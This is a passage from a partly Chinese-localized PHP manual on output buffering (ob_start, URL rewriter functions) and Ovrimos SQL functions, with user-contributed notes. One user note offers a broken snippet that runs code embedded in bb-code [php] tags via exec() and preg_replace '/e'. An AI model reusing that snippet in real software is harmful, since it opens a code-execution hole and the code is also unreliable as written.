Some web servers (e.g. Apache) change the working directory of a script when calling the callback function. You can change it back by e.g. chdir(dirname($_SERVER['SCRIPT_FILENAME'])) in the callback function.

If the optional parameter chunk_size is passed, the callback function is called on every first newline after chunk_size bytes of output. The output_callback parameter may be bypassed by passing a NULL value.

If the optional parameter erase is set to FALSE, the buffer will not be deleted until the script finishes (as of PHP 4.3.0).

Output buffers are stackable, that is, you may call ob_start() while another ob_start() is active. Just make sure that you call ob_end_flush() the appropriate number of times. If multiple output callback functions are active, output is being filtered sequentially through each of them in nesting order.

ob_end_clean(), ob_end_flush(), ob_clean(), ob_flush() and ob_start() may not be called from a callback function. If you call them from callback function, the behavior is undefined. If you would like to delete the contents of a buffer, return "" (a null string) from callback function. You can't even call functions using the output buffering functions like print_r($expression, true) or highlight_file($filename, true) from a callback function.

例子 1. User defined callback function example

<?php

function callback($buffer)
{
  // replace all the apples with oranges
  return (str_replace("apples", "oranges", $buffer));
}

ob_start("callback");

?>
<html>
<body>
<p>It's like comparing apples to oranges.</p>
</body>
</html>
<?php

ob_end_flush();

?>

Would produce:

<html>
<body>
<p>It's like comparing oranges to oranges.</p>
</body>
</html>

See also ob_get_contents(),
ob_end_flush(),
ob_end_clean(),
ob_implicit_flush(),
ob_gzhandler(), ob_iconv_handler()
mb_output_handler(), and
ob_tidyhandler().

add a note add a note User Contributed Notes
net_navard at yahoo dot com
30-May-2006 10:09
Hello firends

ob_start() opens a buffer in which all output is stored. So every time you do an echo, the output of that is added to the buffer. When the script finishes running, or you call ob_flush(), that stored output is sent to the browser (and gzipped first if you use ob_gzhandler, which means it downloads faster).

The most common reason to use ob_start is as a way to collect data that would otherwise be sent to the browser.

These are two usages of ob_start():

1-Well, you have more control over the output. Trivial example: say you want to show the user an error message, but the script has already sent some HTML to the browser. It'll look ugly, with a half-rendered page and then an error message. Using the output buffering functions, you can simply delete the buffer and sebuffer and send only the error message, which means it looks all nice and neat buffer and send
2-The reason output buffering was invented was to create a seamless transfer, from: php engine -> apache -> operating system -> web user

If you make sure each of those use the same buffer size, the system will use less writes, use less system resources and be able to handle more traffic.

With Regards, Hossein
(capitals) THE maYoR ANd thOSe@gmail
01-Feb-2006 06:14
One of the notes below mentions that ob_end_flush() is called automatically at the end of the script if you called ob_start without an ob_end.

Because I couldn't find any other way to do it, I tried to use this fact to have some stuff run at the end of every script. It was a maintenance nightmare, so I'm putting a link here to the good way to do it, since it's nigh impossible to find with google.

http://php.net/register_shutdown_function
simon
25-Jan-2006 12:51
Found that variables in class instances we're not being set after the call to ob_start().
Call ob_start after the variables are set however and it works but that didn't seem to solve the goal of a self contained templating class.
The fix was to assign the class by reference with '&new'
Here is a simplified working example:
<?php
class Buffer {
var $template = ' - template set in class constructor';
function Buffer() {
   $this->startBuffer();
}
function startBuffer() {
   ob_start(array(&$this, 'doFlush'));
}
function doFlush($buffer) {
   /* simple string concat to show use of a
   template string and the buffer output */
   return $buffer . $this->template;
}
}
/* template does not get set:
$buffer1 = new Buffer();
$buffer1->template = ' - template set in instance';
echo 'some buffer content';
*/
/* this works as expected */
$buffer2 = &new Buffer();
$buffer2->template = ' - template set in instance';
echo 'some buffer content';
ernest at vogelsinger dot at
09-Jan-2006 01:57
When you rely on URL rewriting to pass the PHP session ID you should be careful with ob_get_contents(), as this might disable URL rewriting completely.

Example:
ob_start();
session_start();
echo '<a href=".">self link</a>';
$data = ob_get_contents();
ob_end_clean();
echo $data;

In the example above, URL rewriting will never occur. In fact, rewriting would occur if you ended the buffering envelope using ob_end_flush(). It seems to me that rewriting occurs in the very same buffering envelope where the session gets started, not at the final output stage.

If you need a scenario like the one above, using an "inner envelope" will help:

ob_start();
ob_start();  // add the inner buffering envelope
session_start();
echo '<a href=".">self link</a>';
ob_end_flush(); // closing the inner envelope will activate URL rewriting
$data = ob_get_contents();
ob_end_clean();
echo $data;

In case you're interested or believe like me that this is rather a design flaw instead of a feature, please visit bug #35933 (http://bugs.php.net/bug.php?id=35933) and comment on it.
cyrille.berliat[no spam]free.fr
17-Oct-2005 06:07
If you're trying to use ob_start() in some PHP5 classes (probably works on PHP4 classes), this is the good way :

<?

class HTMLPage
{
//----------------------------------------------------------------- PUBLIC

//----------------------------------------------------- Mthodes publiques

   public static function ConvertIntoSGML( $source )
   // Mode d'emploi :
   //convertit une string en une SGML valide
   //
   // Renvoie :
   //la chaine traite
   //
   // Algorithme :
   //analyse char par char de la chaine. Si un caractre est de nombre ASCII > 127,
   //conversion en son code SGML.
   {
       $newString = '';

       for( $i = 0; $i < strlen( $source ) ; $i++ ) {
           $o = ord( $source{ $i } );

           $newString .= ( ( $o > 127 ) ? '&#'.$o.';': $source{ $i } );
       }

       return $newString;
   }

   public function FlushSite( $source )
   {
       return $this->ConvertIntoSGML ( $source );
   }

//-------------------------------------------- Constructeurs - destructeur
   function __construct()
   // Mode d'emploi (constructeur) :
   //initialise la buffurisation
   //
   // Contrat :
   //
   {
       ob_start( array (  & $this , 'FlushSite' ) );
   } //---- Fin du constructeur

//------------------------------------------------------ Mthodes Magiques

//------------------------------------------------------------------ PRIVE

}

// Example :

$webdesign = new HTMLPage ( );

echo 'Hllo world'; // Will produce the source 'h&#233;llo world'

?>

Without the & before $this, you'll loose your content because ob_start() will call the flushsite() function from a clone of the object and not the caller object himself.

Note : call_back function must be public because ob_start() is in an extern scope from your class :)

I hope this will help you!
php at bucksvsbytes dot com
16-Sep-2005 01:29
The following should be added: "If outbut buffering is still active when the script ends, PHP outputs it automatically. In effect, every script ends with ob_end_flush()."
admin at bobfrank dot org
28-Aug-2005 11:50
If you want to run code in the middle of a string that you made, but you want to wait the printing...
(so if you want to allow php in bb-code style, and you want to execute it in order, and print everything in order...)

phpRun($code) {
   ob_start();
   exec($code);
   $output = ob_get_contents();
   ob_end_clean();
   return $output;
}

$str = str_replace("]\n", "]", $str);
$match = array('#\[php\](.*?)\[\/php\]#se');
$replace = array( phpRun( stripslashes('$1') ) );
$str= preg_replace($match, $replace, $str);

echo $str;
kasper at johansen dot tdcadsl dot dk
28-Aug-2005 10:29
Another way to make your code harder to copy, is to remove all line-breaks and tabs you have in it.

You can use this function to remove those.

You can choose to place "ob_start();" at the start of your main PHP-file, and "ob_end_clean();" at the end of it.

This is not the best solution though. If you are running Apache you might want to do something like this to a ".htaccess"-file:

php_value auto_prepend_file "/home/www/load_before.php"
php_value auto_append_file "/home/www/load_after.php"

(you should replace those files with files that actually exists).

In the "load_before.php" you can place the "ob_start();", and in the "load_after.php" you can do something like this:

<?
   $html = strtr(ob_get_contents(), array("\t" => "", "\n" => "", "\r" => ""));
   ob_end_clean();

   echo $html;
?>

This will clean your HTML of all kind of linebreaks (both \n and \r) and tabulators (\t). This will save your users some bandwidth, but it will also make your HTML, JavaScripts and more very difficult to read or copy. That way, making it harder for people to steal your code if you do not want them to.

This isnt in the spirit of OpenSource, but anyway you should be aware that this is possible.

Be aware that if you use PHP-files, to simulate pictures, all linebreaks will also be remove, making them corrupt. A solution to this, could be to check the headers (Content-Type), and if isnt set, or it is "text/html", you can go ahead and remove the linebreaks and tabs.

At my site, with more than 50.000 pictures and about 60 people online, I couldnt see any difference in the loadtime.

But still be aware, that your output will not be sent, before the script is finished, which will make your page slower to load that way also, since it cannot send any output while loading, but will have to wait until the load is finished.
geoffrey at nevra dot net
10-Aug-2005 03:05
When using a callback with ob_start(), functions like ob_get_contents() don't make use of it, use ob_end_flush() instead.

nb: not tested with every ob_* functions, just ob_get_contents() and ob_end_flush()
05-Aug-2005 10:54
I usually create my pages in four parts - variable initialisation, import header (using the variables just declared to configure), main body (mostly non-PHP), import footer.  I wondered about making the main body examinable by another PHP script if the main page was included into it.  I found I could control output of the main body by ending the header with an unclosed function which finishes at the start of the footer, thus enclosing the main body.  Output buffering can then be used to read this into a variable.  As a demonstration of how this can be used to control the order of output look at this example:

<?php
$output = "";

// Callback to process buffered output
function capture($buffer)
   {
   $GLOBALS['output'] .= $buffer;
   return "C ";
   }

// Calls the printE() function with output capture
function captureE()
   {
   ob_start("capture");
   printE();
   ob_end_flush();
   }
?>

A
<?php
// Output 'E' (the main body in the example scenario)
function printE()
   { // (End header after this line) ?>
E
   <?php // (Start footer with this line)
   }
?>
B
<?php captureE(); ?>
D
<?php print $output; ?>
F
<?php printE(); ?>
G

The output is A B C D E F E G.

For the application I mentioned above there are two points to note:
 - The page when executed alone must output its main body but the inspection script should suppress this, perhaps by means of a variable set before the page is included and then checked for in the footer output lines.
 - Because the main body is now inside a function it has a different namespace, thus changes may be required to prevent code breaking (e.g. use of globals, handling of functions defined within the main body).
oersoep at gmail dot com
08-Jul-2005 08:46
These are handy. First one has been mentioned before.

ob_start( array( 'lib_class', 'parse_output' ) );
ob_start( array( $this, 'parse_output' ) );

Note: $this is NOT a reference. Anything the callback saves or logs disappears in the clone ob_start works with.
It does enable the callback to work with the attributes of $this, like $this->ar_tpl_value or whatever your style is.

The manual says:
"If the optional parameter chunk_size is passed, the callback function is called on every first newline after chunk_size bytes of output. The output_callback parameter may be bypassed by passing a NULL value."
This doesn't work with my 4.3.11. Might be the Zend optimizer though. Daren't turn it off to go see.
Aleksey
25-May-2005 03:08
This function dynamically changes title of HTML page:

  function change_title($new_title) {
   $output = ob_get_contents();
   ob_end_clean();

   $output = preg_replace("/<title>(.*?)<\/title>/", "<title>$new_title</title>", $output);
   echo $output;
  }

Example:
  ob_start();
  // ... some output
  change_title('NEW TITLE!');
jds1509 at NOSPAMrit dot edu
24-May-2005 10:06
This code demonstrates the affect of providing a value to the chunk_size parameter. A value of 1 or 0 will be ignored by php. Here's the Code:

<?

function callback($buffer)
{
   return "TRAPPED:".$buffer."<br/>";
}

ob_start("callback",2);

echo "long string, so callback";
echo "X";
echo " - no callback, less than 2 chars";

?>newlines,
but
no
callback
!<?

// PHP block

?>PHP block initiates callback.<?

echo "One more callback at EOF...";

?>

The code above outputs:

TRAPPED:long string, so callback
TRAPPED:X - no callback, less than 2 chars
TRAPPED:newlines, but no callback !
TRAPPED:PHP block initiates callback.
TRAPPED:One more callback at EOF...
TRAPPED:
rafa dot chacon at factorydea dot com
10-May-2005 05:10
If you're trying to include a php file inside a loop by require_once (in example, a dinamic email template) and change the value of some variables (in example, url to unsuscribe, different for each user), you should use

<?php

// ... some code

$usermail = array("email1", "email2", ...);

for($i = 0; $i < $MAX; $i++)
{
       $usermail_unsuscribe = $usermail[$i];
       ob_start();
       include("email_template.php");
       ob_clean();
}
?>

Otherwise $usermail_unsuscribe will get only "email1" value.
JM
09-May-2005 03:17
I don't claim to understand this--I would have expected the exact opposite--but it seems that
  ob_start() ... ob_end_flush()
can massively improve perfomance, by at least a factor of 10 (admittedly a small number of samples).

I tried this after discovering that I could move a large (100ms) bottleneck in one of my scripts into
   echo "<!-- about 40 characters of junk -->";
which clearly shouldn't have taken long to run.

My unfounded theory is that without buffering, the interaction between PHP4.3.4 and Apache is not optimized, whereas with buffering, PHP delivers the entire page at once, which Apache handles better.

I should add that this is under https.
Ray Paseur (Paseur ... ImagineDB.com)
02-Mar-2005 05:50
You can use PHP to generate a static HTML page.  Useful if you have a complex script that, for performance reasons, you do not want site visitors to run repeatedly on demand.  A "cron" job can execute the PHP script to create the HTML page.  For example:

<?php // CREATE index.html
   ob_start();
/* PERFORM COMLEX QUERY, ECHO RESULTS, ETC. */
   $page = ob_get_contents();
   ob_end_clean();
   $cwd = getcwd();
   $file = "$cwd" .'/'. "index.html";
   @chmod($file,0755);
   $fw = fopen($file, "w");
   fputs($fw,$page, strlen($page));
   fclose($fw);
   die();
?>
eddie
14-Feb-2005 12:09
I use this function for deleting not needed characters within the html code before sending the whole stuff to the browser.

function callback($buffer){
   $buffer = str_replace("\n", "", $buffer);
   $buffer = str_replace("\t", "", $buffer);
   $buffer = str_replace(chr(13), "", $buffer);
   $buffer = ereg_replace("<!\-\- [\/\ a-zA-Z]* \-\->", "", $buffer);
   return $buffer;
}

First str_replace will delete any newlines, second any tabs and the third any carriage return. Finally the regular expression will delete any html-comment which consists of /, space, a-z or A-Z.
Using this saves about 1kb on every pageload.
FB
02-Feb-2005 10:59
I've noticed a bug with MSIE for non cached contents if your page is less than 4096 octets : you have to refresh the page each time to view its content !

Here is the solution to prevent this stupid behaviour of MSIE : just insert this code at the top of your scripts :

function ob_callback($buffer)
{
   return $buffer . str_repeat(' ', max(0, 4097 - strlen($buffer)));
}

ob_start('ob_callback');
d_spagnoli at yahoo dot it
28-Dec-2004 10:39
nl2br() is not a callable function, to make it work define a new one like this:

function mynl2br($str){
   return nl2br($str);
}

example:

ob_start("nl2br");
echo "under pressure\npushing down on me";
$str_error=ob_get_flush();

doesn't work, use ob_start("mynl2br") instead.

PHP 4.3.9
aaron at offtone.com
14-Nov-2004 09:19
My callback is stored in a function class, and using ob_start ('Class::callback') wasn't working. Not wanting to instantiate the class (no need, it's a function class) I tried this and it worked a charm:

ob_start (array (Class, 'callback'));

PHP 4.3.4
dev at kiwicore dot org
29-Oct-2004 04:49
I wanted to do things a very particular way with output buffering and shutdown functions; using register_shutdown_function instead of the built in callback feature of this function. However, one should note that this won't work, because the contents of the buffer are no longer in scope when PHP is calling the shutdown functions. This would have been easy to see EXCEPT that PHP graciously flushes any unsent buffers at the end of the script, or when calling exit. So:

<?php
   ob_start();
   echo 'hi';
   exit;
?>

Prints "hi". In a nutshell, if you want it to have a shutdown function that handles an output buffer, just specify it in ob_start() and let PHP automatically call it at the end of the script.
jkloss at hotmail dot com
17-Mar-2004 11:20
If ob_start does not seem to be working for you, note that with Apache 2 the flush() function causes PHP to send headers regardless of whether ob_start had been called before flush.

ob_start();
echo 'test';
flush();

will cause Apache 2 to send whatever headers may be stacked up - which means you can't use a header(location:xxx) after the flush.  To fix, remove the flush().  Spent several hours discovering this.  Apache 1.x didn't work this way.
mjr
11-Mar-2004 01:10
If you're using object-orientated code in PHP you may, like me, want to use a call-back function that is inside an object (i.e. a class function). In this case you send ob_start a two-element array as its single argument. The first element is the name of the object (without the $ at the start), and the second is the function to call. So to use a function 'indent' in an object called '$template' you would use <?php ob_start(array('template', 'indent')); ?>.
zeisss at web dot de
24-Nov-2003 01:03
Note that the current working directory changes in the callback procedure (Changed from htdocs\ to windows\system32\ on my system).

You have to use absolut paths if you want to open files on your local system.
ed.oohay (a) suamhcs_rodnan
22-Nov-2003 09:18
Output Buffering even works in nested scopes or might be applied in recursive structures... thought this might save someone a little time guessing and testing :)

<pre><?php

   ob_start();              // start output buffer 1
   echo "a";                // fill ob1

       ob_start();              // start output buffer 2
       echo "b";                // fill ob2
       $s1 = ob_get_contents(); // read ob2 ("b")
       ob_end_flush();          // flush ob2 to ob1

   echo "c";                // continue filling ob1
   $s2 = ob_get_contents(); // read ob1 ("a" . "b" . "c")
   ob_end_flush();          // flush ob1 to browser

   // echoes "b" followed by "abc", as supposed to:
   echo "<HR>$s1<HR>$s2<HR>";

?></pre>

... at least works on Apache 1.3.28

Nandor =)
venky_athome at yahoo dot com
18-Jan-2003 01:58
IE 55. sp2 and IE6 as on the date of adding this note have problems with content type gzip and caching http headers. The pages are never cached. I think this combination of http headers can also crash the browser.

see http://support.microsoft.com/default.aspx?scid=kb;en-us;321722
06-Dec-2002 04:02
If you're using Apache (1.3x or 2.0), you might consider adding automatic compression capability to your delivered pages.

I assume you all know how to build compression classes and use them in your programs, but none has yet to offer the speed and robustness of a binary-compiled module. Furthermore, such modules also log the "compressable" hit in the web log file, thus allowing your favorite web anaysing program to show you reports of bandwidth saved.

Having said that, you might consider the following two modules for Apache:

1) Apache 1.3x: use mod_gzip, available from:
http://sourceforge.net/projects/mod-gzip/

2) Apache 2.x: use mod_gz, see here:
http://www.mail-archive.com/dev@httpd.apache.org/msg00734.html

3) Apache 1.3x: you may also want to use mod_defalte, from:
ftp://ftp.lexa.ru/pub/apache-rus/contrib/

Hope it helps.
cliff at NOSPAMtravelguides dot com
08-Aug-2002 06:36
good article on output buffering on devshed:

http://www.devshed.com/c/a/PHP/Output-Buffering-With-PHP
add a note add a note

后退 | 起点 | 前进
ob_list_handlers | 上一级 | output_add_rewrite_var


output_add_rewrite_var

(PHP 4 >= 4.3.0, PHP 5)

output_add_rewrite_var -- Add URL rewriter values

Description

bool output_add_rewrite_var ( string name, string value )

This function rewrite the URLs and forms with the given variable.

注: This function buffers the output.

例子 1. output_add_rewrite_var() example

<?php
output_add_rewrite_var('var', 'value');

// a link
echo '<a href="file.php">link</a>';

// a form
echo '<form action="script.php" method="post">
<input type="text" name="var2" />
</form>';

print_r(ob_list_handlers());
?>

上例将输出：

<a href="file.php?var=value">link</a>

<form action="script.php" method="post">
<input type="hidden" name="var" value="value" />
<input type="text" name="var2" />
</form>

Array
(
    [0] => URL-Rewriter
)

See also
output_reset_rewrite_vars(),
ob_flush() and
ob_list_handlers().

add a note add a note User Contributed Notes
ng4rrjanbiah at rediffmail dot com
19-Jun-2005 02:41
This function obeys url_rewriter.tags ( http://www.php.net/ref.session#ini.url-rewriter.tags ) configuration and hence can be used to rewrite selected tags.

HTH,
R. Rajesh Jeba Anbiah
qbolec
14-Apr-2005 08:46
I'm using this function in control panel, to append md5(session_id()) to each form and link in this panel. I also check when receiving data in control panel, if it contains this md5. I think it's quite good way to prevent the attack, where the user posts an image to the forum, but instead of image url, it specifies the url to control panel with some instructions. You should also check if the data come from the source you intended (GET or POST?).
konrad DOT meyer AT gNOSPAMmail DOT com
09-Feb-2005 02:21
This function can be very helpful for a survey or registration style set of pages where you need to keep variables from one page to the next. (For example, when you mess up a registration, it's always nice to have all but the incorrect fields as you entered them. Re-entering tons of fields is tedious on your users.)
add a note add a note

后退 | 起点 | 前进
ob_start | 上一级 | output_reset_rewrite_vars


output_reset_rewrite_vars

(PHP 4 >= 4.3.0, PHP 5)

output_reset_rewrite_vars -- Reset URL rewriter values

Description

bool output_reset_rewrite_vars ( void )

This function resets the URL rewriter and undo the changes made by output_add_rewrite_var() and/or by session_start() that are still in the buffer.

例子 1. output_reset_rewrite_vars() example

<?php
session_start();
output_add_rewrite_var('var', 'value');

echo '<a href="file.php">link</a>';
ob_flush();

output_reset_rewrite_vars();
echo '<a href="file.php">link</a>';
?>

上例将输出：

<a href="file.php?PHPSESSID=xxx&var=value">link</a>
<a href="file.php">link</a>

See also
output_add_rewrite_var(),
ob_flush(),
ob_list_handlers() and
session_start().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
output_add_rewrite_var | 上一级 | Ovrimos SQL Functions


Ovrimos SQL Functions

PHP 手册
后退 前进

CII. Ovrimos SQL Functions

简介

Ovrimos SQL Server, is a client/server, transactional RDBMS combined with Web capabilities and fast transactions.

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.1.0.

注: 本扩展模块在 Windows 平台下不可用。

需求

You'll need to install the sqlcli library available in the Ovrimos SQL Server distribution.

安装

To enable Ovrimos support in PHP just compile PHP with the --with-ovrimos[=DIR] parameter to your configure line. DIR is the Ovrimos' libsqlcli install directory.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

范例

例子 1. Connect to Ovrimos SQL Server and select from a system table

<?php
$conn = ovrimos_connect("server.domain.com", "8001", "admin", "password");
if ($conn != 0) {
    echo "Connection ok!";
    $res = ovrimos_exec($conn, "select table_id, table_name from sys.tables");
    if ($res != 0) {
        echo "Statement ok!";
        ovrimos_result_all($res);
        ovrimos_free_result($res);
    }
    ovrimos_close($conn);
}
?>
This will just connect to an Ovrimos SQL server.

目录
ovrimos_close -- Closes the connection to ovrimos
ovrimos_commit -- Commits the transaction
ovrimos_connect -- Connect to the specified database
ovrimos_cursor -- Returns the name of the cursor
ovrimos_exec -- Executes an SQL statement
ovrimos_execute -- Executes a prepared SQL statement
ovrimos_fetch_into -- Fetches a row from the result set
ovrimos_fetch_row -- Fetches a row from the result set
ovrimos_field_len -- Returns the length of the output column
ovrimos_field_name -- Returns the output column name
ovrimos_field_num -- Returns the (1-based) index of the output column
ovrimos_field_type -- Returns the (numeric) type of the output column
ovrimos_free_result -- Frees the specified result_id
ovrimos_longreadlen -- Specifies how many bytes are to be retrieved from long datatypes
ovrimos_num_fields -- Returns the number of columns
ovrimos_num_rows -- Returns the number of rows affected by update operations
ovrimos_prepare -- Prepares an SQL statement
ovrimos_result_all -- Prints the whole result set as an HTML table
ovrimos_result -- Retrieves the output column
ovrimos_rollback -- Rolls back the transaction

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
output_reset_rewrite_vars | 上一级 | ovrimos_close


ovrimos_close

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_close -- Closes the connection to ovrimos

Description

void ovrimos_close ( int connection )

ovrimos_close() is used to close the specified connection to Ovrimos. This has the effect of rolling back uncommitted transactions.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Ovrimos SQL Functions | 上一级 | ovrimos_commit


ovrimos_commit

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_commit -- Commits the transaction

Description

bool ovrimos_commit ( int connection_id )

ovrimos_commit() is used to commit the transaction. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_close | 上一级 | ovrimos_connect


ovrimos_connect

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_connect -- Connect to the specified database

Description

int ovrimos_connect ( string host, string db, string user, string password )

ovrimos_connect() is used to connect to the specified database.

ovrimos_connect() returns a connection id (greater than 0) or 0 for failure. The meaning of host and db are those used everywhere in Ovrimos APIs. host is a host name or IP address and db is either a database name, or a string containing the port number.

例子 1. ovrimos_connect() Example

<?php
$conn = ovrimos_connect("server.domain.com", "8001", "admin", "password");
if ($conn != 0) {
    echo "Connection ok!";
    $res=ovrimos_exec($conn, "select table_id, table_name from sys.tables");
    if ($res != 0) {
        echo "Statement ok!";
        ovrimos_result_all($res);
        ovrimos_free_result($res);
    }
    ovrimos_close($conn);
}
?>
The above example will connect to the database and print out the specified table.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_commit | 上一级 | ovrimos_cursor


ovrimos_cursor

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_cursor -- Returns the name of the cursor

Description

string ovrimos_cursor ( int result_id )

ovrimos_cursor() returns the name of the cursor. Useful when wishing to perform positioned updates or deletes.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_connect | 上一级 | ovrimos_exec


ovrimos_exec

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_exec -- Executes an SQL statement

Description

int ovrimos_exec ( int connection_id, string query )

ovrimos_exec() executes an SQL statement (query or update) and returns a result_id or FALSE. Evidently, the SQL statement should not contain parameters.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_cursor | 上一级 | ovrimos_execute


ovrimos_execute

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_execute -- Executes a prepared SQL statement

Description

bool ovrimos_execute ( int result_id [, array parameters_array] )

ovrimos_execute() executes a prepared statement. 如果成功则返回 TRUE，失败则返回 FALSE。 If the prepared statement contained parameters (question marks in the statement), the correct number of parameters should be passed in an array. Notice that I don't follow the PHP convention of placing just the name of the optional parameter inside square brackets. I couldn't bring myself on liking it.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_exec | 上一级 | ovrimos_fetch_into


ovrimos_fetch_into

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_fetch_into -- Fetches a row from the result set

Description

bool ovrimos_fetch_into ( int result_id, array &result_array [, string how [, int rownumber]] )

ovrimos_fetch_into() fetches a row from the result set into result_array, which should be passed by reference. Which row is fetched is determined by the two last parameters. how is one of Next (default), Prev, First, Last, Absolute, corresponding to forward direction from current position, backward direction from current position, forward direction from the start, backward direction from the end and absolute position from the start (essentially equivalent to 'first' but needs 'rownumber'). Case is not significant. rownumber is optional except for absolute positioning. 如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. A fetch into example

<?php
$conn=ovrimos_connect("neptune", "8001", "admin", "password");
if ($conn!=0) {
    echo "Connection ok!";
    $res=ovrimos_exec($conn, "select table_id, table_name from sys.tables");
    if ($res != 0) {
        echo "Statement ok!";
        if (ovrimos_fetch_into($res, &$row)) {
            list($table_id, $table_name) = $row;
            echo "table_id=" . $table_id . ", table_name=" . $table_name . "\n";
            if (ovrimos_fetch_into($res, &$row)) {
                list($table_id, $table_name) = $row;
                echo "table_id=" . $table_id . ", table_name=" . $table_name . "\n";
            } else {
                echo "Next: error\n";
            }
        } else {
            echo "First: error\n";
        }
        ovrimos_free_result($res);
    }
    ovrimos_close($conn);
}
?>
This example will fetch a row.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_execute | 上一级 | ovrimos_fetch_row


ovrimos_fetch_row

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_fetch_row -- Fetches a row from the result set

Description

bool ovrimos_fetch_row ( int result_id [, int how [, int row_number]] )

ovrimos_fetch_row() fetches a row from the result set. Column values should be retrieved with other calls. 如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. A fetch row example

<?php
$conn = ovrimos_connect("remote.host", "8001", "admin", "password");
if ($conn != 0) {
    echo "Connection ok!";
    $res=ovrimos_exec($conn, "select table_id, table_name from sys.tables");
    if ($res != 0) {
        echo "Statement ok!";
        if (ovrimos_fetch_row($res, "First")) {
            $table_id = ovrimos_result($res, 1);
            $table_name = ovrimos_result($res, 2);
            echo "table_id=" . $table_id . ", table_name=" . $table_name . "\n";
            if (ovrimos_fetch_row($res, "Next")) {
                $table_id = ovrimos_result($res, "table_id");
                $table_name = ovrimos_result($res, "table_name");
                echo "table_id=" . $table_id . ", table_name=" . $table_name . "\n";
            } else {
                echo "Next: error\n";
            }
        } else {
            echo "First: error\n";
        }
        ovrimos_free_result($res);
    }
    ovrimos_close($conn);
}
?>
This will fetch a row and print the result.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_fetch_into | 上一级 | ovrimos_field_len


ovrimos_field_len

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_field_len -- Returns the length of the output column

Description

int ovrimos_field_len ( int result_id, int field_number )

ovrimos_field_len() is used to get the length of the output column with number field_number (1-based), in result result_id.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_fetch_row | 上一级 | ovrimos_field_name


ovrimos_field_name

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_field_name -- Returns the output column name

Description

string ovrimos_field_name ( int result_id, int field_number )

ovrimos_field_name() returns the output column name at the (1-based) index specified.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_field_len | 上一级 | ovrimos_field_num


ovrimos_field_num

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_field_num -- Returns the (1-based) index of the output column

Description

int ovrimos_field_num ( int result_id, string field_name )

ovrimos_field_num() returns the (1-based) index of the output column specified by field_name, or FALSE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_field_name | 上一级 | ovrimos_field_type


ovrimos_field_type

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_field_type -- Returns the (numeric) type of the output column

Description

int ovrimos_field_type ( int result_id, int field_number )

ovrimos_field_type() returns the (numeric) type of the output column at the (1-based) index specified by field_number.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_field_num | 上一级 | ovrimos_free_result


ovrimos_free_result

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_free_result -- Frees the specified result_id

Description

bool ovrimos_free_result ( int result_id )

ovrimos_free_result() frees the specified result_id. Returns TRUE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_field_type | 上一级 | ovrimos_longreadlen


ovrimos_longreadlen

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_longreadlen -- Specifies how many bytes are to be retrieved from long datatypes

Description

bool ovrimos_longreadlen ( int result_id, int length )

ovrimos_longreadlen() specifies how many bytes are to be retrieved from long datatypes (long varchar and long varbinary). Default is zero. It currently sets this parameter the specified result set. Returns TRUE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_free_result | 上一级 | ovrimos_num_fields


ovrimos_num_fields

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_num_fields -- Returns the number of columns

Description

int ovrimos_num_fields ( int result_id )

ovrimos_num_fields() returns the number of columns in a result_id resulting from a query.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_longreadlen | 上一级 | ovrimos_num_rows


ovrimos_num_rows

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_num_rows -- Returns the number of rows affected by update operations

Description

int ovrimos_num_rows ( int result_id )

ovrimos_num_rows() returns the number of rows affected by update operations.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_num_fields | 上一级 | ovrimos_prepare


ovrimos_prepare

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_prepare -- Prepares an SQL statement

Description

int ovrimos_prepare ( int connection_id, string query )

ovrimos_prepare() prepares an SQL statement and returns a result_id (or FALSE on failure).

例子 1. Connect to Ovrimos SQL Server and prepare a statement

<?php
$conn=ovrimos_connect("db_host", "8001", "admin", "password");
if ($conn!=0) {
    echo "Connection ok!";
    $res=ovrimos_prepare($conn, "select table_id, table_name
                                  from sys.tables where table_id=1");
    if ($res != 0) {
        echo "Prepare ok!";
        if (ovrimos_execute($res)) {
